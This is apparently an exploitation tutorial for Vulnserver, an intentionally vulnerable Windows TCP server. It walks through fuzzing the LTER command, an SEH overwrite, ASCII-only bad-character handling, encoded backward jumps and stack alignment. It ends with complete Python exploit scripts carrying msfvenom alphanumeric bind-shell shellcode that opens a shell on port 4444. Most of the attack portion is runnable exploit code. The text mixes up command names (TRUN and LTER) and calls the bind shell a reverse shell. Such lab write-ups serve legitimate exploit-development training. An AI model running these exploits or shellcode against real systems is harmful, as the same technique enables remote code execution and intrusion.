Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.
OS Name: Microsoft Windows XP Professional
OS Version: 5.1.2600 Service Pack 3 Build 2600
OS Manufacturer: Microsoft Corporation
Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
2.1 Interface
Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:
3. Fuzzing
For the purpose of this tutorial we will be focusing on fuzzing the TRUN command. Observing that the valid argument structure for the TRUN command is roughly <LTER>[space]<command_value> we can try sending LTER hello as a test and see if it’s accepted.
As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the LTER command.
The following BOOFUZZ template was created to fuzz the LTER command in an effort to get the program to crash.
The following command appears to have crashed the program indicating that the "LTER" command can be manipulated to force the program to crash
3.2 Analysing The Crash
Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.
To gain a better understanding of this, the following template was used to identify the length needed to overflow the LTER command and cause the crash:
As can be seen from Figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 3551 bytes - Figure 8.
As can be seen in the above images we have no control over EIP (refer to the access violation - Figure 9 below)
That said, If we review the SEH chain we can clearly see that we have control over the SEH chain - Figure 10.
4. nSEH & SEH Offsets
4.1 Create Unique Pattern
Using msf-pattern_create create a pattern of length 3551 bytes.
Hit ALT + S and note the 'Address' value of the 'Corrupt Entry' (this will be nseh) and the SE-handler value above 'Corrupt Entry' (this will be the seh value)
4.2 Get nSEH & SEH Offsets
Next use msf-patten_offset to get the nseh and seh offsets
4.3 Confirm Offsets
Update the exploit and execute it to confirm that these offsets are correct
Before we go any further we need to identify the bad characters. To do this we can generate all possible characters, from \x00 to \xFF, using the Mona.
To create the array, we can use !mona bytearray -cpb '\x00' command. This will print the array in Immunity Debugger’s log, and also create files bytearray.txt and bytearray.bin. We can copy the array from the bytearray.txt file, the bytearray.bin file will be used in comparison later.
Update the exploit as shown below and run the exploit:
As can be seen from Figure 18, the bad character array begins at 00B7FFE4.
Note: Due to the restricted buffer length, only 28 bytes of our buffer length will be read each time.
As can be seen from Figure 18, characters '\x01' through '\x1c' are all good characters. We restart the application and repeat this process, sending the next 28 bytes of our bad_char array.
As can be seen from Figure 19, the bad character array begins at 00B7FFE4 and that chars \x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38 are all ok.
As can be seen from Figure 20, the bad character array begins at 00B7FFE4 and that chars \x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54
Noticing the pattern that 01 through 7F were accepted as good characters, it was determined that the application was filtering for ASCII characters only
6.0 Safe Pop Pop Ret
Having identified that the program will only accept ASCII encoded characters, we can then use mona to find a safe PPR address and return any compatible addresses. We generate the seh.txt file by issuing !mona seh -cpb '\x00' ascii command:
Using the Find-Safe-Address.py script the following address was chosen 0x6250160a. Using immunity restart the application, set a breakpoint at 0x6250160a and update the POC as shown below and execute it.
Hit F9 to pass the exception and we should hit the breakpoint - Figure 30.
7. Jump Over SEH
Stepping into our buffer using F7 we can see that we have 4 bytes before we hit the SEH instructions - Figure 31. We will need to hop over these instructions into the D buffer. Unfortunately using nSEH, we can’t directly write a X byte jump code to meet D buffer as the short jump opcode (\xeb) is a bad char. To circumvent this, we can use a conditional jump. The following article explains how this works in a detailed manner - https://buffered.io/posts/jumping-with-bad-chars/. Restart the application in immunity, set a breakpoint at 0x6250160a and execute the updated POC below:
As can be seen during crash the breakpoint is hit and after stepping through POP POP RET, control goes to the nSEH. After that it executes all instructions stored on nSEH and finally jumps forward and lands in the D buffer block.
8. Jumping Out Of Small Buffer
As can be seen in Figure 32, we have approximately 22 bytes remaining. Due to the limited buffer space remaining we will need to somehow jump backwards into our A buffer to gain more space.
We can use the following trick to achieve this. If we remember from earlier in Section 5, a lot of the bad characters were mangled by the application. One of those characters was FF which ended up being converted to 80. This conversion will allow us to use the same trick used above to hop over the SEH instructions and jump backwards into our A buffer. Restart the application, set a breakpoint at 0x6250160aand run the updated exploit shown below:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999payload ="LTER /.:/"payload +="A"*3495# junkpayload +="\x77\x0b\x76\x09"# nsehpayload += struct.pack("<I",0x6250160a)# sehpayload +="B"*8payload +="\x70\xff\x71\xff"# take advantage of the character conversion of ff to 80payload +="D"* (5990-len(payload))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
Taking advantage of the character conversion of ff to 80 this will allow us to perform a negative jump 128 bytes backwards into our A buffer as shown in Figure 34.
From here we have two options. We can implement an egghunter or we can encode instructions to jump back to the start of our A buffer.
For the purposes of this demonstration we will encode a long jump back to the start of our A buffer. As there is approximately 3400 bytes between EIP and the start of our A buffer and due to the number of restricted characters we will more than likely have to encode our long jump to make it easier for ourselves.
8.1 Adjust ESP
Before we calculate the distance we need for our long jump, we must first align our stack so that ESP will point to the beginning of where we want our encoded jump to be. To do this, some calculations are needed in order to align ESP. We will use the EAX register to perform these calculations. The following "Template" is used in order to correctly align ESP.
push esp # Push ESP onto the stack
pop eax # Pop that value into EAX
add ax, 0x??? # Add x amount of bytes - this will be the difference of where ESP currently points to and the address of where you would like it to point to
push eax # Push this new EAX value onto the stack
pop esp # Pop this value into ESP
As can be seen from Figure 35, we have pushed ESP onto the stack and then popped that value into EAX showing a value of 00B7EE50 - (current ESP value).
Note: AX was chosen instead of EAX due to the restricted character set.
The next step is to calculate an address which is divisible by four and is located a couple of bytes after the address where our template ends. This address will be the address of where our shellcode begins. To get this value we first need to know our encoded shellcode length.
8.2 Generating Encoded Long Jump
Before we generate our shellcode we must first calculate the distance between where our A buffer starts and the address of where our decoded shellcode will be placed. Estimating that our encoded long jump will consume approximately 60 bytes from our current EIP value, address 00B7FFB7 was chosen.
Note - Sometimes this stage requires some trial and error to find a suitable address.
As can be seen from Figure 36 our A buffer starts at address 00B7F235. Next we need to find the distance between the address where our decoded long jump would be placed - 00B7FFB7 and the starting address of our A buffer 00B7F235 which is 3450 bytes. So we will need to jump backwards 3450 bytes to get to the start of our A buffer. We can make use of the msf-metasm_shell utility to convert this instruction to shellcode.
Now that we know that our encoded shellcode will take up 55 bytes we can finish adjusting our esp value.
push esp # Push ESP onto the stack
pop eax # Pop that value into EAX
ADD AX,1167 # distance between ESP (00B7EE50) and 00B7FFB7
push eax # Push this new EAX value onto the stack
pop esp # Pop this value into ESP
Restart the application, set a breakpoint at 0x6250160aand run the updated exploit shown below:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999encoded_shellcode = ( # Encoded: ff909090"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x4e\x09\x44\x47"# SUB EAX,4744094e"\x2d\x4b\x61\x15\x0b"# SUB EAX,0b15614b"\x2d\x68\x04\x16\x1d"# SUB EAX,1d160468"\x50"# PUSH EAX# Encoded: e981f2ff"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x47\x29\x29\x28"# SUB EAX,28292947"\x2d\x77\x37\x67\x76"# SUB EAX,76673777"\x2d\x59\x1d\x7d\x61"# SUB EAX,617d1d59"\x50"# PUSH EAX)payload ="LTER /.:/"payload +="A"* (3495-108)payload +='\x54\x58\x66\x05\x67\x11\x50\x5C'# align stack to point to start of encoded shellcodepayload += encoded_shellcode # jmp backwards to start of a bufferpayload +="A"* (100-len(encoded_shellcode))payload +="\x77\x0b\x76\x09"# nsehpayload += struct.pack("<I",0x6250160a)# sehpayload +="B"*8payload +="\x70\xff\x71\xff"# take advantage of the character conversion of ff to 80 and jmp backwardspayload +="D"* (5990-len(payload))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
Stepping through our instructions we can see our long jump back appear (Figure 39) which will take us back to the start of our A buffer appear - Figure 40.
9. Final Steps
Due to the number of restricted characters we will also need to encode our final payload so that it conforms to the restricted character set. However, before we generate our final payload we must again align our stack so that ESP will point to the beginning of our encoded shellcode.
9.1 Adjust ESP
As Offensive Security explains here, even with the -e x86/alpha_mixed option, msfvenom will prepend \x89\xe2\xdb\xdb\xd9\x72 to our payload which is NOT alphanumeric. The purpose of these opcodes is so the payload can determine where it is located in absolute memory, a work around is to use the BufferRegister=REG32 (i.e. BufferRegister=ESP as shown above) option and specify a register that’s pointed at our shellcode.
To do this, some calculations are needed in order to align ESP. We will use the EAX register to perform these calculations. The following "Template" is used in order to correctly align ESP.
push ebp # Push EBP onto the stack (EBP was chosen as it is the closest to our current position
pop eax # Pop that value into EAX
add ax, 0x??? # Add x amount of bytes - this will be the difference of where ESP currently points to and the address of where you would like it to point to
push eax # Push this new EAX value onto the stack
pop esp # Pop this value into ESP
As can be seen from Figure 41, we have pushed EBP onto the stack and then popped that value into EAX showing a value of 00B7EF2C - (current EBP value).
Note: AX was chosen instead of EAX due to the restricted character set. EBP was chosen as it was the closest address to our current position - (Closest to EIP)
The next step is to calculate an address which is divisible by four and is located a couple of bytes after the address where our template ends. This address will be the address of where our shellcode begins. This is illustrated below
As can be seen from Figure 41, EBP points to 00B7EF2C. Address 00B7F240 was identified to be a suitable address to begin our shellcode as shown in Figure 42. By adding 788 bytes to AX (314 in hex) we can adjust ESP so that it now points to this address as shown in Figure 42.
Restart the application in immunity, set a breakpoint at 0x6250160aand execute the updated POC shown below to replicate these results:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999encoded_shellcode = ( # Encoded: ff909090"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x4e\x09\x44\x47"# SUB EAX,4744094e"\x2d\x4b\x61\x15\x0b"# SUB EAX,0b15614b"\x2d\x68\x04\x16\x1d"# SUB EAX,1d160468"\x50"# PUSH EAX# Encoded: e981f2ff"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x47\x29\x29\x28"# SUB EAX,28292947"\x2d\x77\x37\x67\x76"# SUB EAX,76673777"\x2d\x59\x1d\x7d\x61"# SUB EAX,617d1d59"\x50"# PUSH EAX)payload ="LTER /.:/"payload +="\x55\x58\x66\x05\x14\x03\x50\x5C"# align stack to point to start of shellcodepayload +="A"* (3495-116)payload +='\x54\x58\x66\x05\x67\x11\x50\x5C'# align stack to point to start of encoded shellcodepayload += encoded_shellcode # jmp backwards to start of a bufferpayload +="A"* (100-len(encoded_shellcode))payload +="\x77\x0b\x76\x09"# nsehpayload += struct.pack("<I",0x6250160a)# sehpayload +="B"*8payload +="\x70\xff\x71\xff"# take advantage of the character conversion of ff to 80 and jmp backwardspayload +="D"* (5990-len(payload))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
9.2 Generating Payload
Now that we have successfully adjusted ESP so that it will point to the start of our shellcode, we are now ready to generate the payload. The following command was used to generate our shellcode:
msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python -e x86/alpha_mixed bufferregister=esp -v shellcode
9.3 Getting Shell
Restart the application and execute the updated POC shown below:
import socketimport structTCP_IP ='192.168.109.129'TCP_PORT =9999encoded_shellcode = ( # Encoded: ff909090"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x4e\x09\x44\x47"# SUB EAX,4744094e"\x2d\x4b\x61\x15\x0b"# SUB EAX,0b15614b"\x2d\x68\x04\x16\x1d"# SUB EAX,1d160468"\x50"# PUSH EAX# Encoded: e981f2ff"\x25\x41\x41\x41\x41"# SUB EAX,41414141"\x25\x3E\x3E\x3E\x3E"# SUB EAX,3E3E3E3E"\x2d\x47\x29\x29\x28"# SUB EAX,28292947"\x2d\x77\x37\x67\x76"# SUB EAX,76673777"\x2d\x59\x1d\x7d\x61"# SUB EAX,617d1d59"\x50"# PUSH EAX)shellcode =b""shellcode +=b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"shellcode +=b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"shellcode +=b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"shellcode +=b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"shellcode +=b"\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x79"shellcode +=b"\x78\x4e\x62\x77\x70\x65\x50\x53\x30\x71\x70"shellcode +=b"\x6c\x49\x4a\x45\x75\x61\x6f\x30\x75\x34\x6e"shellcode +=b"\x6b\x70\x50\x76\x50\x6c\x4b\x36\x32\x54\x4c"shellcode +=b"\x4c\x4b\x62\x72\x56\x74\x6c\x4b\x43\x42\x75"shellcode +=b"\x78\x46\x6f\x58\x37\x43\x7a\x44\x66\x44\x71"shellcode +=b"\x4b\x4f\x6e\x4c\x65\x6c\x53\x51\x73\x4c\x75"shellcode +=b"\x52\x64\x6c\x57\x50\x5a\x61\x68\x4f\x44\x4d"shellcode +=b"\x37\x71\x5a\x67\x4d\x32\x68\x72\x76\x32\x72"shellcode +=b"\x77\x4e\x6b\x76\x32\x32\x30\x4c\x4b\x53\x7a"shellcode +=b"\x65\x6c\x6e\x6b\x50\x4c\x34\x51\x62\x58\x58"shellcode +=b"\x63\x72\x68\x36\x61\x78\x51\x56\x31\x4e\x6b"shellcode +=b"\x51\x49\x71\x30\x56\x61\x7a\x73\x4e\x6b\x42"shellcode +=b"\x69\x66\x78\x69\x73\x75\x6a\x43\x79\x4c\x4b"shellcode +=b"\x35\x64\x6e\x6b\x57\x71\x58\x56\x66\x51\x4b"shellcode +=b"\x4f\x6e\x4c\x49\x51\x68\x4f\x64\x4d\x33\x31"shellcode +=b"\x58\x47\x34\x78\x69\x70\x52\x55\x49\x66\x77"shellcode +=b"\x73\x63\x4d\x68\x78\x65\x6b\x33\x4d\x55\x74"shellcode +=b"\x73\x45\x78\x64\x30\x58\x4e\x6b\x36\x38\x66"shellcode +=b"\x44\x46\x61\x78\x53\x63\x56\x4e\x6b\x74\x4c"shellcode +=b"\x62\x6b\x6c\x4b\x30\x58\x77\x6c\x66\x61\x68"shellcode +=b"\x53\x6c\x4b\x47\x74\x6e\x6b\x43\x31\x68\x50"shellcode +=b"\x6f\x79\x47\x34\x37\x54\x74\x64\x51\x4b\x33"shellcode +=b"\x6b\x53\x51\x61\x49\x71\x4a\x32\x71\x69\x6f"shellcode +=b"\x6b\x50\x63\x6f\x63\x6f\x63\x6a\x4e\x6b\x32"shellcode +=b"\x32\x58\x6b\x4c\x4d\x51\x4d\x51\x78\x77\x43"shellcode +=b"\x36\x52\x43\x30\x35\x50\x42\x48\x50\x77\x32"shellcode +=b"\x53\x30\x32\x73\x6f\x70\x54\x55\x38\x52\x6c"shellcode +=b"\x34\x37\x56\x46\x75\x57\x39\x6f\x38\x55\x68"shellcode +=b"\x38\x4a\x30\x43\x31\x47\x70\x33\x30\x45\x79"shellcode +=b"\x6b\x74\x63\x64\x46\x30\x73\x58\x76\x49\x6d"shellcode +=b"\x50\x52\x4b\x55\x50\x6b\x4f\x49\x45\x31\x7a"shellcode +=b"\x47\x78\x30\x59\x62\x70\x7a\x42\x59\x6d\x71"shellcode +=b"\x50\x46\x30\x51\x50\x72\x70\x70\x68\x59\x7a"shellcode +=b"\x44\x4f\x4b\x6f\x4b\x50\x59\x6f\x49\x45\x4d"shellcode +=b"\x47\x75\x38\x76\x62\x77\x70\x64\x51\x71\x4c"shellcode +=b"\x6d\x59\x6a\x46\x50\x6a\x74\x50\x62\x76\x52"shellcode +=b"\x77\x55\x38\x58\x42\x6b\x6b\x57\x47\x73\x57"shellcode +=b"\x39\x6f\x6a\x75\x56\x37\x55\x38\x38\x37\x5a"shellcode +=b"\x49\x64\x78\x79\x6f\x69\x6f\x4b\x65\x56\x37"shellcode +=b"\x32\x48\x73\x44\x48\x6c\x35\x6b\x4d\x31\x4b"shellcode +=b"\x4f\x49\x45\x42\x77\x4f\x67\x61\x78\x71\x65"shellcode +=b"\x42\x4e\x72\x6d\x51\x71\x69\x6f\x6b\x65\x32"shellcode +=b"\x48\x71\x73\x30\x6d\x62\x44\x43\x30\x6f\x79"shellcode +=b"\x4a\x43\x46\x37\x33\x67\x50\x57\x35\x61\x49"shellcode +=b"\x66\x32\x4a\x67\x62\x61\x49\x73\x66\x69\x72"shellcode +=b"\x59\x6d\x75\x36\x6b\x77\x30\x44\x44\x64\x37"shellcode +=b"\x4c\x36\x61\x77\x71\x4c\x4d\x63\x74\x35\x74"shellcode +=b"\x64\x50\x49\x56\x43\x30\x31\x54\x71\x44\x32"shellcode +=b"\x70\x72\x76\x61\x46\x73\x66\x63\x76\x72\x76"shellcode +=b"\x42\x6e\x62\x76\x62\x76\x53\x63\x63\x66\x62"shellcode +=b"\x48\x50\x79\x7a\x6c\x77\x4f\x6f\x76\x49\x6f"shellcode +=b"\x58\x55\x4f\x79\x4d\x30\x70\x4e\x51\x46\x51"shellcode +=b"\x56\x39\x6f\x54\x70\x33\x58\x73\x38\x4c\x47"shellcode +=b"\x45\x4d\x65\x30\x6b\x4f\x5a\x75\x6f\x4b\x68"shellcode +=b"\x70\x4f\x45\x59\x32\x76\x36\x52\x48\x39\x36"shellcode +=b"\x4f\x65\x4f\x4d\x4f\x6d\x79\x6f\x4b\x65\x57"shellcode +=b"\x4c\x66\x66\x33\x4c\x44\x4a\x6f\x70\x6b\x4b"shellcode +=b"\x59\x70\x64\x35\x33\x35\x4d\x6b\x32\x67\x65"shellcode +=b"\x43\x53\x42\x32\x4f\x52\x4a\x55\x50\x51\x43"shellcode +=b"\x79\x6f\x6a\x75\x41\x41"payload ="LTER /.:/"payload +="\x55\x58\x66\x05\x14\x03\x50\x5C"# align stack to point to start of shellcodepayload +="A"*3# junk so that shellcode starts on address divisible by 4payload += shellcodepayload +="A"* (3495-119-len(shellcode))payload +='\x54\x58\x66\x05\x67\x11\x50\x5C'# align stack to point to start of encoded shellcodepayload += encoded_shellcode # jmp backwards to start of a bufferpayload +="A"* (100-len(encoded_shellcode))payload +="\x77\x0b\x76\x09"# nsehpayload += struct.pack("<I",0x6250160a)# sehpayload +="B"*8payload +="\x70\xff\x71\xff"# take advantage of the character conversion of ff to 80 and jmp backwardspayload +="D"* (5990-len(payload))s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TCP_IP, TCP_PORT))s.send(payload)s.close()
Using netcat, connect to the target host using port 4444 and you should now have a reverse shell: